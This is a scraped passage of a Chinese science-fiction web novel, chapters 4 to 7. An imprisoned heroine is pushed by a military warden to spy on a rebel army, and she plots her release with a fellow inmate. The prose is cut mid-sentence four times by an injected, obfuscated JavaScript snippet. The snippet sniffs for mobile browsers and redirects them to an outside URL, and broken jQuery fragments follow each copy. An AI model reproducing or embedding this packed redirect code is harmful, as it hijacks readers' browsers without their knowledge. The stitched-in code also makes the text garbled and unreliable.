宽阔的肩膀和健壮的脊背组成了完美的衣架,身体撑起皮质大衣的外轮廓,让人联想到澎湃的力量。脑后覆盖着修剪整齐的短短发茬,彰显着如同军人般的纪律与克制。
叶眠有点轻浮地在心里吹了声口哨。
“叶绵绵,278号犯人,服刑于C监6区,剩余服刑时限79年11个月,四天前再次杀人,目前正在等待二判。”
“是的,先生。”叶眠心想,原来我住6区。
“你是昨夜医院事件的受害者,说说你知道的。”法蒙转过身来,隔着桌子与她对视。
磁性的声音,完美的脸。眉眼深邃,鼻梁高挺,嘴唇又薄又直,表情冷淡,如同素描使用的石膏像一般,整个人散发着大理石一样的凉意。
叶眠又在心里吹了一声口哨,但嘴巴太快,直接吹出了声。
“叶绵绵,”法蒙皱眉,“我在问话。”
“好的,先生。”
叶眠脸上挂着微笑,感觉他可能有些不适应念出这个名字。
——毕竟这种软糯的叠词从嘴里念出来,天然带着点黏糊和甜蜜。
法蒙冷着一张脸念到“绵绵”的时候,咬字十分令人想入非非。假如这不是在审讯问话,假如是在别的地方,比如床上,沙发上,桌子上,浴缸里……
血液奔流,骨子里的欲望初露锋芒。
她及时地收回思绪,在典狱长耐心耗尽前,捡着自己白天听到的说了说,包括三方势力的复杂关系,着重讲了讲可能法蒙自己都不知道的小弟们。
叶眠认为自己表达了最大的诚意,可惜法蒙没被她带跑。
“监狱应该是遵守秩序的地方,二三十人规模的打斗,一天之内出现两次,很难不让人怀疑其中有鬼,”他接着说,“警卫在你的病房里发现了这个。”
他把激光刀的充能器放在了桌子上,于是叶眠把口袋里能量耗尽的刀也拿了出来。
“我试图用激光刀剪指甲来着,这样也犯法吗?”叶眠随口乱扯,“没用过这类危险刀具,所以很不熟练,这里的伤就是被它戳出来的,外科的老医生可以帮我作证,噢,他现在应该被抓去做手术了。”
叶眠扬了扬下巴,大方展示自己伤口上的纱布,眼神却盯紧了对面的人,没有一瞬的放松。
法蒙的表情有点难以描述,叶眠觉得这不像是什么正面的反应——他大概不是“自己人”。
“手铐的断面都是用激光刀破坏的,这又怎么解释?”
“尊敬的典狱长先生,您的意思该不会是,我,顶着重伤未愈的半个脑壳,在这个黑灯瞎火的晚上,分别跑进了这三方势力的病房,一个一个给他们把手铐打开,挑唆他们进行乱斗吧?”
叶眠歪了歪头,语气认真。
对面之人还没出声,她便撸起袖子,伸出自己的胳膊,弯折发力。
因为瘦,所以能看出薄薄肌肉的形状,不妨碍她现在纤细到可以归到营养不良的范畴里。
法蒙搓了搓眉心。
他从未考虑过接下典狱长这份职责,管理监狱对他而言并非荣耀,只是综合考虑的下策。最近他一直忙于处理部队被告上军事法庭的事情,即使明眼人都知道,这是一场彻头彻尾的污蔑。
昨天案子刚刚告一段落,他一闲下来就听说C监有人闹事。
沈之前递了消息,说本来到C监想跟他见一面,结果人没见着,碰到一个因故入狱的反抗军,他下了血本,把人从生死关拉了回来。
“打动她,策反她,这样我们就可以拥有一个二五仔了,”沈这样怂恿法蒙,“她在反抗军里的身份……很微妙。”
法蒙没有第一时间找她,因为内心并不相信一个女死囚能翻出什么水花。
然而
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224735|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
昨夜的闹剧明显是有人在背后搅水,他这才决定迂尊降贵地来看一眼。
叶绵绵跟沈说的有点不太一样。
面前纤细的少女双眼有神,身板笔直,不太像是会“为情所困”、“为爱献身”的模样。
“我知道你的身份,叶绵绵,”法蒙说,语气严肃,“我知道你隶属反抗军,我们打开天窗说亮话。”
现在轮到叶眠茫然了。
反抗军又是什么?
她怎么就隶属反抗军了?
她要反抗谁?
“我无意反抗,先生,”叶眠收回胳膊,眼神变得警惕,“我是遵守秩序的良民。”
“跟我做个交易。”法蒙说,表情冷得仿佛要把叶眠冻住。
叶眠不吃冷脸这套,但二人信息差太大,她无奈暂居劣势。
“你身份特殊,我可以放你自由。但条件是,回到反抗军后,要随时向我传递消息。”
短暂停顿,仿佛是在估量叶眠的价值。法蒙眉眼沉沉,语气寡淡:“包括反抗军内部权力更迭、大小方向上的决策计划、底层人员流动名单等,只要你知道的,全部写清楚,每月一次汇报,有特殊需要,也必须随时待命。”
叶眠跟他对视,仿佛在进行一场无声的对峙。
“反抗军内有我们的人,如果你敢作假或者隐瞒,我们都会知道。不同意条件的后果,我想你也清楚。”他说。
叶眠嗅到了一点危险的气息。
“不怕我离开监狱后不履行约定吗?”叶眠没问反抗军是什么,也没问你又属于什么势力,后颈浅浅地炸起一层汗毛,那是觉察到危险的本能。
“既然是犯人,就不会获得真正的自由。”法蒙说着,从口袋里拿出一个扁平的黑色方形小块,一端露出金属插口。
叶眠的视线落在他手心。
“禁制环的钥匙插件,”法蒙眼神扫过她的脸,审视着她的每一分表情,“或许有人跟你说过,三代禁制环的功能,但你现在戴的,其实是正在进行内部测试的四代。”
叶眠睫毛轻颤。
“四代环外表跟三代长得差不多,但在三代的基础上再次增加了材料强度,并且增设了更多遥控功能,来。”法蒙伸手。
很漂亮的一双手。手指长而有力,手心一道疤痕。
——如果不是在命令她就更好了。
叶眠慢步走上前。
法蒙的手指轻轻掠过她的脖子,插件安装后,他在自己的终端上点了两下。
操作完,冰凉的手再次碰到温热的颈侧。插件被取下,叶眠的脖子上却还残留着一点令人战栗的触感。
叶眠看着他,没有动作。
“可以试试你的异能了,刚刚给你开了两分钟的权限。”法蒙说。
笑话。
她现在哪知道怎么用异能?
“所以,就算我们达成了交易,哪怕我人可以离开C监,我也会受你控制。”叶眠定定地说,把一切波澜藏在平静表面之下。
“是的,我不可能任你拿到钥匙,”法蒙干脆认下,“但我可以名义上为你脱罪,解决你的二判死刑。”
“我需要想想,典狱长先生。”叶眠说。
“当然可以,”法蒙露出一个礼貌但冷硬的微笑,“慢慢思考。”
叶眠出门,摸着脖子上的禁制环。
这东西耐造得没边,插口使用完已经自动隐藏起来,手指接触过的地方光滑无缝。
她在思考法蒙的提议,但同时又有股躁郁的火苗盘桓心头。
脖子上带着禁制环,被人挥之即来呼之即去的感觉……遭受言语威胁的叶眠感觉到一种轻微的、不被尊重的愤怒。
法蒙,是吧?
下午,她在输液室见到了胖子。
“谢天谢地你还活着,”胖子很高兴见到她,“我听说了昨夜医院闹出来的动静,你没事真是太好了。”
“法格里布,如果现在给你一个机会,要不然给人当狗,要不然等死,你选哪个?”叶眠轮椅靠在他旁边,懒洋洋地问。
“死亡和自由,很宏大的命题。”胖子摸了摸下巴,像个思考者,但下一句话就原形毕露,“忍辱负重可以有,但当狗的话,也得是大型犬吧?我怕杀伤不够。”
“我感觉,应该不算吉娃娃?”叶眠成功跑偏,自省了一下。
胖子露出一个稍微厌烦的表情:“惹,我不喜欢吉娃娃。”
“话题怎么跑到这里的?”叶眠有些困惑,但她心中早有答案,于是轻飘飘地扯到正题,“嗳,你知道反抗军吗?”
胖子是她最大的信息来源,但没想到这一张嘴就是王炸,他大惊失色。
5. 第 5 章
“这是能说的吗?!”
胖子左看右看没人注意,快速抹了下脸调整表情,同时压低声音说:“还这么大声!你说的可是反抗军,联盟反抗军!”
叶眠张了张嘴。
“我知道,很多人对联盟很有异议,内部派系也有主张革命的力量,但是名义上、实际上、说到底,现在我们还是受其领导,尤其,你就站在首都星的土地上!怎么能就这么轻描淡写地说出反抗军!”
胖子连珠炮一样说了一堆,咽了下口水,最后又补了一句,“当然,我不会因此认为你是反抗军的支持者,只是祸从口出,绵……叶眠。”
——所以我是叛党,叶眠恍惚了一下。
我不只是杀人入狱的罪犯,还是受官方通缉的叛乱分子。
“反抗军是不能说的存在。”她小声确认。
“不能说,”胖子加重语气重复,“联盟不承认反抗军存在,公开社媒上也不允许出现反抗军的消息。反抗军就是乱党、反动势力,妄加评论会被有关部门抓起来审问的。”
见叶眠还有话想问,胖子眼露祈求:“有机会再说好吗我的老天,万一被人听到举报,我们就真完蛋了!你多少有点囚犯的自觉!”
“好,不说了。”叶眠安抚他。
胖子讳莫如深的样子跟法蒙的轻描淡写对比鲜明,以至于显示出一种割裂感。
法蒙属于什么势力?C监外的世界现在是什么样子?
叶眠迫切地想要知道更多信息。
“讲讲联盟的事情吧,法格里布。”叶眠说。
输液室的显示屏开始播放男女痴缠的肥皂剧,颇有些索然无味。
胖子瘫在椅子上,终于恢复了往日的模样。他慢慢悠悠开口:“政治我不擅长,但历史学得还可以,你跟我差不多年纪,大学读完了吗?”
叶眠从鼻子里哼了一声:“你觉得呢。”
胖子便默认她是没读。
“三百年前星系革命,帝国燃起战乱。初代领袖们杀进皇宫,皇帝失踪后,他们创建了联盟,设置了议会、审判庭和军事战略部。不成想,从小失散的太子没死,他即位后,帝国卷土重来来,经过十年反复,整个星系逐渐稳定成联盟与帝国分庭抗礼的局面。
“联邦下属五十七个星球,其中十四个偏远星球和帝国接壤,八个星球组成联盟中心,核心三星包括首都星、银辉星、海蓝星。去年我们和帝国的战争正式结束,但小道消息说联盟军部还在垃圾星征兵,可能过两年战争会继续吧。”
“战争带来死亡也带来机会,你喜欢打仗吗,叶眠?”胖子扭头。
“战争是获取和平的手段。”叶眠说。
“我不喜欢,”胖子说,“虽然被要求在首都军大读完四年,家里人建议我趁和平年代混个军部的位置,但我不喜欢。”
“首都军大?”一听就很厉害的学校。
“花钱就能进,军大的海蓝星校区是法格里布家族捐的。”胖子说。
叶眠被震撼得沉默一瞬:“那你怎么在C监,嗯……避难。”
“海蓝的法格里布,”胖子做贼一样压低声音,“投向了反抗军。”
“……”
“胖子,”叶眠眼神空洞地搭在前方,“你还有什么惊喜是我不知道的,干脆一起说了吧。”
“也没什么,我们家族主要是做食品和营养液生意的,之前的继承人应该是我名义上的哥哥,我爸的私生子。”
胖子很少见地情绪低落下来,叶眠侧目。
“伊斯坦·法格里布。他绑架了我妈,带着海蓝的法格里布倒向了反抗军,现在失联了。他身上背了联盟通缉令,我爸不想他死,又担心他对我出手,干脆把我送进了C监,自己带着人去抓他了,之后就一直没有消息。族里现在是我叔叔诺亚·法格里布掌权,他不喜欢我,所以也不来接我出狱,我只能每天混吃等死。”
胖子笑了笑:“你不是问,选择自由还是当狗吗?”
他后半句没说出来,叶眠拍了拍他的肩膀:“往好处想,等你爸救回你妈、抓到你哥,说不定你就会成为新的继承人,前途一片大好。”
“没那么容易的。家族不认可我,我的异能也不够强势,只有我妈的支持,现在我是弃子。”胖子对自己的认知很明确,对形势看得也很清楚。
“说是避难,但出狱都遥遥无期。”
叶眠想了想。
“胖子,要不要跟我干。”未来女帝递出了她的第一根橄榄枝。
“跟你干什么?”胖子警觉。
“你要打脸你的族人,我能把你捞出监狱,”叶眠肯定地说,“我们完全同路啊!”
*
联盟的腐朽在于官官相护、政商联合。
最初的革命让半个星系摆脱了皇帝的残暴统治,其初衷是建立自由平等的新秩序。
第一代议会代表相继去世后,民主的推举与竞选制没能完整延续下来,议会逐渐被权力博弈与金钱交易渗透。如今的议会已经是商人政客们长袖善舞的社交场,是贫富差异进一步扩大的培养皿,是掠夺剥削底层人民的强盗窝。
不断出现的新纳税项、一削再削的公民福利、越发紧缩的医疗和教育资源,一系列倾斜明确的法律出台,人民艰难生活在暗无天日的噩梦里,找不到打破阶级壁垒向
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224736|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上的渠道。
他们无法发声,无法反抗,任何试图挑战现有秩序的人都会被贴上“反动分子”的标签,遭到无情的打击。
“虽然反抗军不能说,但是反抗军的存在是必然的。联盟近些年一直是宁肯错杀不肯放过的态度,反抗军应该是发展不太起来。”胖子做贼心虚,小声跟叶眠咬耳朵。
他热血上头接下了叶眠的邀请,但还是不太习惯把反动势力挂在嘴边,总有种下一秒就要被抓的紧迫感。
“法格里布家世代经商但不参政,只有我哥,伊斯坦,对权力有种狂热的欲望。我爸说过他,他后来就不太外显了,但我们都清楚他是什么样的人,只是没想到他会做到这么决绝。”
叶眠若有所思:“你想没想过,只靠绑架你妈妈,他怎么保证海蓝星的法格里布都跟着他一起倒向反抗军呢?”
胖子觉得理所当然:“他在海蓝星发展很多年,那些人都变成了他的心腹,对他马首是瞻。”
“但是像你这样的成长背景,如果没出什么大变故,几年时间,你会从一个普通联盟公民变成死心塌地的反动分子吗?此事有疑点。你爸爸的态度也很含糊,宁愿丢下偌大家业自己出去找也不假手他人,咦,胖子,你家该不会是个大反抗军窝子吧。”叶眠说。
胖子被吓得不轻,眼睛都瞪大了:“你不要污蔑我家啊。”
叶眠的眼神意味深长。
*
晚上换药再见到护士,叶眠自觉二人已经足够相熟,询问能不能给她个终端玩游戏,意料之内被拒绝了。
“虽然现在越狱的情况少了很多,但是这种能跟外界联系的东西还是不能给你。”护士拿出一支注射器,把里面的绿色液体推进叶眠的脖子里。
“这是生长因子吗?”感受到一点微微的痛,叶眠好奇问。
“准确来说是二级生长因子,这是第二针。打完这针,五天后还要再打一次。如果不打满三针,可能你的脑壳会缺一部分长不全,或者一辈子顶着一个软脑壳。”护士笑起来,露出一口鲨鱼般的白牙,“老实呆着哦。”
“会老实的,我可不想一辈子趴着睡觉。”叶眠已经趴着睡了好几天,很不舒服。
“真的吗?”护士鼻子里轻哼一声,“真老实吗?”
叶眠摸了摸鼻子,有点心虚。
“玻璃渣我帮你清理了,好好休息吧。”护士最后整理了一下叶眠的枕头,又像摸小孩一样摸了摸她的头顶。
“姐,其实我是叶眠,不是叶绵绵。”叶眠说。
“好,叶眠,”护士说,“早点休息,做个好梦”
叶眠确实做了个“好梦”。
6. 第 6 章
阴天,大火。
仿佛把整个死星塞进火炉里,从里到外,烧透,烧熔,灭绝一切。
赤脚扎了玻璃,灰烬迷了眼睛,皮肤被烘到发红发烫,呼吸间都是腾腾火气,每一步都能听到死神的呼吸。
她不想死。
同伴被赤红色吞没,最后一句话是“别回头”。建筑的支撑柱轰然塌下,就砸在离脚后跟不到十公分的地方。捂着嘴也没用,烟尘呛进鼻子里,带起撕心裂肺的咳嗽,脚步丝毫不敢慢。
心里的念头疯狂攀升,撑起摇摇欲坠的肉|体,成为新的脊梁。
——她想逃,想要自由。
星舰落到平原,金属反射的银光刺穿了大火。
气温降低,不知何时开始下雨,雨水中甚至裹挟着雪花与冰粒,落到裸露发烫的皮肤上,带来冰凉的刺激。
她机械地跑着,无法确定:得救了吗?
等她看清围墙后的“军队”,排头的人已经举枪,瞄准了她的眉心。
“砰”。
视野整个黑了下去,仿佛戛然而止的电影。
叶眠意识到,梦结束了。
她睁眼看着天花板,没有立刻起床。
记忆空空荡荡,没有任何线索,无法确定这是真实发生过的事情,还是某种预言与暗示。
——叶绵绵,会再次出现吗?
这个问题自然而然地浮现在心里,叶眠发现自己心跳平和,并无惶恐不安。
真奇怪。
再次正视这位前身,种种细节与直觉编织出一个神秘的形象。叶眠好奇她的全貌,却得不到任何回应。
想不出就不想了,她把目光放回眼下,从床上坐起来,明显感觉脑袋比昨天轻快了一些。
叶眠:感谢生长因子,感谢好心医生。
把早餐糊成一团的粥吃掉,叶眠再次前往点滴室,围观那个放广告比放连续剧多、放连续剧比放正事节目多的大屏。
没办法,这里能接触到外界信息的方式实在太少。
这两天,联盟最大的事情是联盟换届。新一任主席春风得意,上任后第二天就召开议会,修订粮食法律。
“新的粮食法律抬高了农民税收,但是压低了营养液的税率。”胖子来了,正好看到这一幕。
他脸上挂了两个黑眼圈,一看就是昨天没睡好——考虑了一晚上自己是不是上了贼船,没想出个结果。
“因为政府要推动营养液的普及?”叶眠问。
“是的。自然生长的植物越来越少,我们现在吃到的食物味道口感古怪,因为原材料产出依靠的是基因科技和化学手段,厨师做出来的东西早就失去了在口味享受上的价值,只是能提供生命维持必须的营养素罢了。”
“营养液就不一样了,萃取浓缩营养成分后,它能完全脱离食材本身的形态和味道,你可以根据自己的偏好买到不同口感和口味,摄入方式也更简单,开盖即食。”胖子说。
“那你家的营养液生意岂不是赶上风口了,政策扶植,大赚一笔。”叶眠说。
“据我所知,没有。”胖子叹气,“萃取营养液的技术还不够成熟,生产效率也低,虽然工厂已经投入使用,但产品市场根本没打开,成本高,定价也高,性价比一般。营养液工厂建在海蓝,伊斯坦一走,这次怕是更赶不上了,粮食大企又不止我们家族。”
“他们的技术比你家先进吗?”
“那倒没有,至少在我入狱之前,法格里布的萃取技术肯定是最先进的,毕竟伊斯坦的异能就是手萃,我们只需要拿着瓢找葫芦。但现在政府扶持,研发经费投进去,其他家的成果自然也会有。”胖子搓了搓脸,有点焦灼。
“你现在焦虑也没用,不如想想怎么抓到你哥,把你妈救回来。”叶眠说。
“靠谁啊,靠你还是靠我,咱们连C监大门都出不去。”胖子愁眉苦脸。
“你瞧好吧。”叶眠挑眉说。
关于修改粮食法案的争议讲了二十分钟,大屏切换到广告。胖子抱着手臂好像睡着了,叶眠抓紧时间,试图从广告里的蛛丝马迹中了解外面的世界。
义肢广告,飞船广告,营养液宣传片,主席竞选回放,边境采访,审判庭案件简报……叶眠看到了法蒙。
她不由坐直了身体。
法蒙一身墨色军装从审判庭大步走出,记者一拥而上,闹哄哄地挤在他身边。
“法蒙中将是否能如期晋升上将?”
“关于边境三师拒绝撤回境内您有什么看法?”
“联盟与帝国的和平条约能是否可以继续维系,您觉得这次和平还能维持多久?”
……
一个男人尖声发问:“法蒙中将,边境三师是否如传言所说被反抗军渗透?审判长如何裁决,请给民众一个说法!”
法蒙驻足,漠然瞥向开口的人。
被视线凌迟的男记者瑟缩了一下,不由把话筒后撤了一些。法蒙推开眼前挡路的记者,拉开悬浮车车门:“三师军人忠于联盟,无愧于心。”
叶眠若有所思。
“噢!我想起来了!”
胖子睁开眼,他一拍大腿:“怪不得耳熟,法蒙,他是联盟的边境将领,五年前他带领边境第一师在黑水星以少胜多,被写进战场指挥学课本。经典案例,期末考试出过题,我学过的。没想到现在已经是正经中将了,他应该还不到三十岁吧。”
“中将,这么高的军衔,还可以兼任C监典狱长?”叶眠问。
典狱长算不进行政核心,但是C监独立自治,中间有很多灰色空间可以灵活操作。
胖子解释:“毕竟我们跟帝国的战争打完了,和平条约公布之后,很多将士军人都回家了。法蒙应该是留军挂空衔,现在边境不需要他了,只要背景够硬,拿下典狱长这个位子不是难事。边境三师是出什么问题了吗,他怎么从审判庭出来的?”
“不清楚,那个男记者怀疑他带的兵跟反抗军有勾结。”
胖子愤然开口:“怎么哪里都有反抗军的事,这些人是苍蝇吗?哪都掺一脚。”
反抗军·叶眠保持了适当的沉默,下一秒,反抗军
“如果是这个法蒙的话,那C监以后的日子可就好起来了,法蒙为人应该还是不错的,”胖子乐观地说,“那我也能好过一些,不用每天躲医院。”
事实上,这几天监狱区一切如旧。6区两个犯人因为卫生任务起了点小冲突,被名叫黑兔子的狱警一起扔进了9区多人间,昨天回来了一个,脸上是血淋淋的抓伤。
——法蒙似乎无意插手C监事宜,如今实际上最有话事权的是狱警口中的“头儿”。
想到这里,胖子又有点忧心忡忡:“他没有任何肃清监狱纪律的行动,太奇怪了。”
叶眠想了想:“记者说,边境三师拒绝执行撤回命令,法蒙是直接领导三师的中将,那他是自愿留在首都星的吗?按你所说,家里人安排他做典狱长的话,他自己属意呢?”
“嗯……”胖子思索,“跟打仗驻边比起来,待在首都星不是更舒服一些吗?”
作为联盟核心中的核心,对于“上等人”而言,首都星的繁荣安逸程度是其他地方完全比不了的。
“那就得看人了,我不觉得法蒙是贪图享受的人。”
叶眠回想记忆里法蒙的样子。能把皮大衣穿出军装的板正,眉目里藏不住的果决杀伐之气,在知道法蒙是军人之后,那些小细节就变得很好理解了。
叶眠大胆推测:“有没有一种可能性,边境三师因为某些原
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224737|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
因被绊住无法撤回,军部强制召回了中将?”
她从这个假设出发,接着说:“法蒙本以为很快就能归队,但是被摁在了C监典狱长的位置上,所以,对这里根本没有好感,也没有责任心。”
胖子回想了一下:“还真是,他存在感比萨利弱老鼻子了。”
叶眠说:“边境军处境微妙,如果法蒙紧咬不放,现在恐怕是深陷泥潭很难抽身,但如果他顺应某些人的想法,把典狱长这个位置当成跳板,弃军从政的路,怕不是康庄大道。”
“没听说过他隶属哪个家族,但如果你猜的是真的,他上任典狱长,可能是议会和军部中某两个或几个势力的博弈,”胖子的表情也严肃下来,“这就不是我们能知道的了。”
“只是猜测。”叶眠说。
如果法蒙听到她的大胆发言,可能会为这段精彩的推论鼓两下掌。
但此时此刻,典狱长正在德里克主家府邸中的会议上,迎接来自所有上位族人的施压。
“法蒙,你是你父母的独子,如今德里克唯一的嫡系,你必须进议会或者在军部任职。你是注定要进政权核心的,而不能留在边境做你的闲散将军。”卡门·德里克说。
他是法蒙的大伯父,德里克家族名义上的大族长,具有家族内最高的话语权。
法蒙面不改色:“伯父,我不可能抛下被截断退路的边境战士留在首都星,哪怕进审判庭甚至进监狱,我的态度都不会改变。德里克的政敌们一直在向我们泼脏水,你们不让我离开首都星,只会让形势僵持在原地。”
“法蒙,家族的存续需要牺牲,你知道规则。”开口的人名叫贝拉·德里克。
她曾短暂担任审判长一职,如今仍在审判庭陪审团任职。明明年近六十却不见丝毫老态,她的口吻堪称温和,但语气不容违抗。
“你既然已经接下了典狱长的位置,我们以为你已经理解并且接受了家族为你安排的路。”卡门接回话头,似有失望。
“伯父,是您说,拜托我暂留首都星,是您说,德里克要借助我拿下C监,是您说,只要萨利下台我就可以回去,”法蒙的眼神平静而冷漠,“德里克的小辈们早就渗透进议会军部甚至审判庭的各个位置,你们根本不需要我重回联盟核心。”
“这句话你应该去跟你早亡的父母说。”年轻的汤姆森·德里克蓄了胡子,但还是压不住自己年少轻狂的脾气。
他冷笑一声,加重语气:“问问他们,为什么德里克的附庸说,他们‘只归属于艾文·德里克、安娜·德里克’,在他们夫妻死后也‘只听从于法蒙·德里克’。”
“汤姆森。”卡门警告开口。
汤姆森眼神恨恨。
法蒙的眼神暗了暗:“我父母收编的势力属于他们自己,如果有任何异议,我不介意你去地下亲口与他们对质,问问他们,德里克到底做了什么,逼他们不得不撤离家族,从头开始建立自己的势力。”
德里克在衰败,树大根深的家族养出了一群又一群蛀虫。现在能堪大任的小辈只有法蒙,这个联盟政治漩涡中的大家族正面临着后继无人的困境,法蒙的价值,他自己清楚,族中长辈也清楚。
“艾文和安娜被暗杀,至今没有结案。伯父,我说过,在凶手被绳之以法前我不会承认德里克这个姓氏,更不可能回归德里克,按你们的吩咐行事。”法蒙只想早点结束,因为这场会议注定没有结果、徒费口舌。
“如果说,最近我们查到了新的东西呢?”卡门跟贝拉交换了一个眼神。
法蒙不动声色地眯了眯眼睛。
“反抗军的指挥使,曾与你父母联系密切。近日其他案件牵连,审判庭缴获了一批反抗军的信件,其中有一封与安娜的通讯记录,或许,你会想了解一下。”
7. 第 7 章
【叶眠术后第五天】
“今天是异能检查日。”胖子绞着手指,看起来有些焦虑。
“什么检查日?”叶眠戒断止痛药第五个小时,缭绕不去的痛意让她有些烦躁。
“犯人们带着禁制环,无法使用异能,但这种禁制本质是一些化学成分、生物电流和什么其他东西……抱歉,具体我不太清楚,总之多重因素复合产生的结果。”
“它对异能有害,所以监狱里每个月都会有几天是检查日,检查所有犯人的异能水平是否下降……甚至消失。”胖子咽了咽口水。
“异能会消失?”叶眠已经了解了一些异能的基础知识,但还从未听说过异能消失。
“会。就像人会生病,异能也会被削弱、暂时失灵、甚至永久失去。”胖子说。
王五带着医院的几个囚犯前往监狱检测处,见到叶眠还跟她打了个招呼,叶眠冲他笑笑,心中盘算着一会儿该怎么应付检查。
作为一个从没有尝试过异能的人,她不得不担心自己会在检查中露馅。
检测处是一栋单独的房子,门外停着两台重装车,几个身穿作战服的狱警抱着枪,扫视的眼神藏在防风墨镜之后。
李医生坐在正门之内,身前摆着显示屏,给犯人们挨个登记,发配不同检查室。
“加班呢,李医生。”叶眠说。
“唉,是。头还疼不?”
“好多了,检查的人多吗?”
“你们是第三批,今天一共四十多批呢,”李医生翻了登记表,给她勾上,“278号,A级?挺厉害嘛,101房间。”
“多谢。”
四十多批,一批算五十个,光今天就是两千人。
好大的监狱……好高的犯罪率?
胖子戳戳她,打断了叶眠的思路:“我去103了,祝你好运,也祝我好运。”
-
叶眠穿过一楼走廊,从侧面的窗户能看到院子。犯人队伍旁边,几个领队的狱警在打牌,声音粗噶放肆,与寂静的犯人们形成了鲜明的对比。
看着犯人身上破破烂烂的囚服,叶眠感觉,还是自己身上的病号服顺眼一点。
101门口,叶眠跟正好出来的犯人打了个照面。
那人囚服整洁,打量她的时候,眼睛眯起,脸上细纹带着点狠意,并非针对谁,而是一看就是亡命徒的模样。
叶眠与他错身而过,心想,这就是C监里的高级异能者吗?
冷不丁想起胖子的吐槽,她眉头微皱。
——狱警会把犯人们关到一起,但普通罪犯跟这种人对上,只会被当成沙包打吧。
101内,不知名的仪器被堆在一侧,中央一块空地,投影出一个破破烂烂的虚拟人偶。桌子后面坐着一个白大褂,她埋头在三张显示屏后,不知道操作了什么,沙包人偶被一键刷新。
是要攻击假人吗?叶眠茫然。
听到有人进门,白大褂看了眼侧面的显示器,念:“278号,A级冰系异能,战斗型。”
她手速很快,把键盘敲得噼啪作响,眼下黑眼圈要坠到地上,厚重的眼镜半掉不掉地挂在鼻尖,“二级禁制环……嗯?三级?”
她终于抬头,跟叶眠四目相对。
“医生,”叶眠乖巧,“我需要做什么?”
情况不明,她没说自己是四代禁制环的事。
“只是异能检查员,不算医生哈,”检查员面无表情,她打开通讯,“李医生,三级环怎么送我这了?”
通讯里的声音叶眠听不到,她只能站在原地干等,好在那头办事速度还挺快,检查员面色一正:“行。”
挂了通讯,她推推眼镜:“李医生说稍等,典狱长会亲自过来,你去隔壁102吧。”
“谢谢。”叶眠干脆地离开,有点遗憾不能试试虚拟沙包的手感。
又要面对法蒙……
感觉失忆这件事很难隐藏,毕竟她连怎么调用异能都不知道。
102空空荡荡,只有两把椅子,她无事可做,绕着走了一圈,也没看到摄像头。
过了一个多钟头,门外脚步声传来,是法蒙到了。
“典狱长先生。”叶眠礼貌问候,人却坐在椅子上,没动。
依然是板正利索的穿搭,衬衣扣到最顶,连塞进裤腰的下摆褶皱都是整整齐齐。
法蒙把外套搭到椅背上,在她对面坐下。面对着毫不掩饰的欣赏目光,他不动声色地皱了皱眉。
“考虑得如何了?”他单刀直入,撇掉那点不适。
“我同意您的要求,但有一个额外条件。”叶眠说。
法蒙以为她想为了异能自由跟他扯皮,果断拒绝:“与禁制环有关的话,不行。”
叶眠比他的预期更桀骜,事关他的绝对控制,他绝不退让。
“我无意摘下这枚,项圈,”叶眠却只是笑了笑,意有所指,“我会成为您忠诚的线人。”
在法蒙开口前,她掐着节奏打断了他:“是这样的,先生,我仔细想过,我回到反抗军需要一个取信于人的理由
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224738|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。毕竟,一个没什么背景的人,反抗军不出手,我凭什么能从C监离开呢?”
法蒙皱眉,想:以你跟反抗军指挥使的关系,只要能回去,他高兴就得了,还需要什么理由吗?
但她的想法又确实有点道理。
“那你的想法是?”
“我在这里认识了一个法格里布,”叶眠坦然地说出了她的目标,“您知道他家的事情吧?”
法蒙确实知道。
海蓝星的伊斯坦·法格里布投奔了反抗军,为了逃避联盟追责,他们把伊斯坦的弟弟送进了监狱避难。
这代表着法格里布的主家与审判庭有些往来,他们能把人送进来,自然也能把人送出去。
叶眠见他没有第一时间反驳,便继续解释:“我想的理由是,因为与拉米亚纳被锁进同一间牢房,我们联手自保,结下了深刻友谊,法格里布捞一个也是捞,捞两个也是捞,所以把我也带了出去。”
理由听起来是不错,但……
